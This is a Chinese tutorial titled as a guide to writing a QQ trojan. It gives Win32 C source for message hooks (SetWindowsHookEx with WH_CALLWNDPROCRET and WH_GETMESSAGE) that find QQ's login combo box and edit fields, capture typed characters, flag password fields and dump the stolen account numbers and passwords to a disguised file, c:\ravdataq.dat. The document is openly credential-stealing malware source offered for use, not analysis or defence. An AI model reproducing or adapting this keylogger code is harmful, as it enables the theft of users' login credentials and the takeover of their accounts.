自己动手写QQ木马-----HOOK篇
首先让我们来回顾一下Windows的消息分类。
l WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息
硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。
l WM_COMMAND命令消息
凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。
l WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。
控件分 标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND
常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY
l WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。
下图是Windows消息处理机制图:
通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:l WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息
l WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息
l WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())
l WH_KEYBOARD 监视键盘消息
l WH_MOUSE 监视鼠标消息
要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:
l “S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC
l “R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET
l “P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用
WH_GETMESSAGE捕捉。
因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。
hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);
WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。
hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);
WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。
下面是这两个钩子消息处理函数的代码:
HINSTANCE g_hinstDll = NULL; // instance handle
HWND g_hwndComboBox = NULL; //Handle of window to be monitored
HWND g_hwndEdit = NULL;
TCHAR g_lpszEditDump[32] = {0}; //键盘输入Edit控件的内容
BOOL g_fSingleEnter = true; //一次键盘输入POST两次WM_CHAR
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma data_seg("Shared")
HHOOK g_hhook1 = NULL; // Hook handle for thread-specific hook
HHOOK g_hhook2 = NULL;
const char g_classname1[] = "ComboBox";
const char g_classname2[] = "Edit"; //for class name you want to monitor
#define FILE_PATH_NAME "c:\\ravdataq.dat"
#pragma data_seg()
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpszClassName[16] = {0}; //消息所属窗口类名字
int nIndex = 0; //ComboBox所选内容的序列号
TCHAR lpszComboBox[16] = {0}; //ComboxBox所选的字符串内容
TCHAR lpszDump[64] = {0}; //组合框写入文件的字符串
TCHAR lpString[64] = {0}; //编辑框写入文件的字符串
CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;
if(nCode != HC_ACTION || wParam != NULL)
{
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
switch (pmsg->message)
{
case WM_GETTEXT:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定的组合框
if((0 == lstrcmp(lpszClassName, g_classname1)) &&
(NULL == g_hwndComboBox))
{
g_hwndComboBox = pmsg->hwnd;
}
if(g_hwndComboBox == pmsg->hwnd)
{
//取得当前ComboBox选择的序号
nIndex =(int) SendMessage(g_hwndComboBox,
CB_GETCURSEL, 0, 0);
if(CB_ERR == nIndex)
{
//若没有选择则退出
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));
wsprintf(lpszDump, " Index = %d content = %s ",
nIndex, lpszComboBox);
//写入文件
fzWriteFile(lpszDump);
}
break;
case WM_KILLFOCUS:
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit != NULL))
{
//判断是否是密码框
if(::GetWindowLong(g_hwndEdit, GWL_STYLE) &
ES_PASSWORD)
{
wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);
}
else
{
wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump); }
//将存储起来的字符串写入文件
fzWriteFile(lpString);
//清除一些全局变量
g_hwndEdit = NULL;
ZeroMemory(g_lpszEditDump, 32);
}
break;
}
return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR lpStr[2] = {0}; //存储按键字符
char lpszClassName[16] = {0};
TCHAR CR = 0x0D; //回车
LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_CHAR: //截获发向焦点窗口的键盘消息
GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));
//判断是否是指定应用程序下的编辑框
if ((lstrcmp(lpszClassName, g_classname2) == 0) &&
(g_hwndEdit == NULL))
{
g_hwndEdit = pmsg->hwnd;
}
if (g_hwndEdit == pmsg->hwnd)
{
if(g_fSingleEnter)
{
lpStr[0] = (TCHAR)(pmsg->wParam);
lpStr[1] = '\0';
lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);
g_fSingleEnter = false;
}
else
{
g_fSingleEnter = true;
}
}
break;
}
}
return(lResult);
}
有关DLL的调试,请看本人发表的另一篇文章《DLL的调试》。